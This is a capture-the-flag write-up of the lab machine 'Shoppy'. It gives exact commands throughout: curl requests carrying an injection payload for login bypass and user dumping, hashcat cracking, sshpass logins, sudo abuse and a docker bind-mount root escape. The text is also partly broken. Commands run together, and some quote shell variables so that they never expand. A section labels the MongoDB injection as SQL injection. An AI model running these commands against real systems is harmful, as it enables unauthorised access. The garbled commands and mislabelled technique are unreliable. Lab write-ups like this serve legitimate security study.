Shoppy
Summary
My found a shopping web app (shoppy.htb) whose login form and admin user-search both accepted MongoDB operator injection. Auth bypass delivered the admin panel; a second injection against the search endpoint dumped the MD5 password hashes of every registered user. The hash for the 'josh' account cracked instantly against a common wordlist, and that plaintext password was reused to authenticate into a Mattermost team-chat instance discovered on port 9093, where a dev-channel message posted the SSH password for the 'jaeger' system account in cleartext.
Once on the box as jaeger, a misconfigured sudo rule allowed running a compiled password-manager binary as the 'deploy' user; supplying its hard-coded master password printed deploy's cleartext SSH credential. The deploy account belonged to the docker group, which I weaponised by bind-mounting the host root filesystem into a disposable container — yielding full read/write access to every file on the system without a single kernel exploit.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -sV -p 22,80,9093 $TARGETecho "$TARGET shoppy.htb mattermost.shoppy.htb" | sudo tee -a /etc/hostsffuf -u http://shoppy.htb/ -H 'Host: FUZZ.shoppy.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 301Exact commands 2
curl -sS -c cookies.txt -X POST http://shoppy.htb/login -d 'username=admin%27%7C%7C%271%3D%3D%271&password=x' -Lcurl -sS -b cookies.txt http://shoppy.htb/adminFixParameterize all MongoDB queries to eliminate NoSQL injectionCritical
Exact commands 1
curl -sS -b cookies.txt 'http://shoppy.htb/admin/search-users?username=admin%27%7C%7C%271%3D%3D%271'Exact commands 2
echo '<josh_md5_hash>' > josh.hashhashcat -m 0 josh.hash /usr/share/wordlists/rockyou.txt --showFixReplace unsalted MD5 password storage with a modern adaptive hashCritical
Exact commands 2
curl -sS -X POST http://mattermost.shoppy.htb/api/v4/users/login -H 'Content-Type: application/json' -d '{"login_id":"josh","password":"$PASSWORD3"}' -D - | grep -i tokencurl -sS http://mattermost.shoppy.htb/api/v4/teams -H 'Authorization: Bearer <TOKEN>'FixRemove credentials from Mattermost and enforce a secrets management policyHigh
Exact commands 2
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no jaeger@$TARGET 'id'sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no jaeger@$TARGET 'cat ~/user.txt'Exact commands 2
sudo -lsudo -u deploy /home/deploy/password-managerFixRemove the NOPASSWD sudo rule granting jaeger access to the password manager binaryHigh
Exact commands 2
sshpass -p '$PASSWORD2' ssh -o StrictHostKeyChecking=no deploy@$TARGET 'id; groups'sshpass -p '$PASSWORD2' ssh -o StrictHostKeyChecking=no deploy@$TARGET 'docker run --rm -v /:/mnt -u 0 alpine chroot /mnt cat /root/root.txt'FixRemove the deploy account from the docker groupCritical
Attack patterns used
The transferable techniques behind this compromise.
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) |
| 80/tcp | http nginx 1.23.1 |
| 9093/tcp | http Golang net/http server |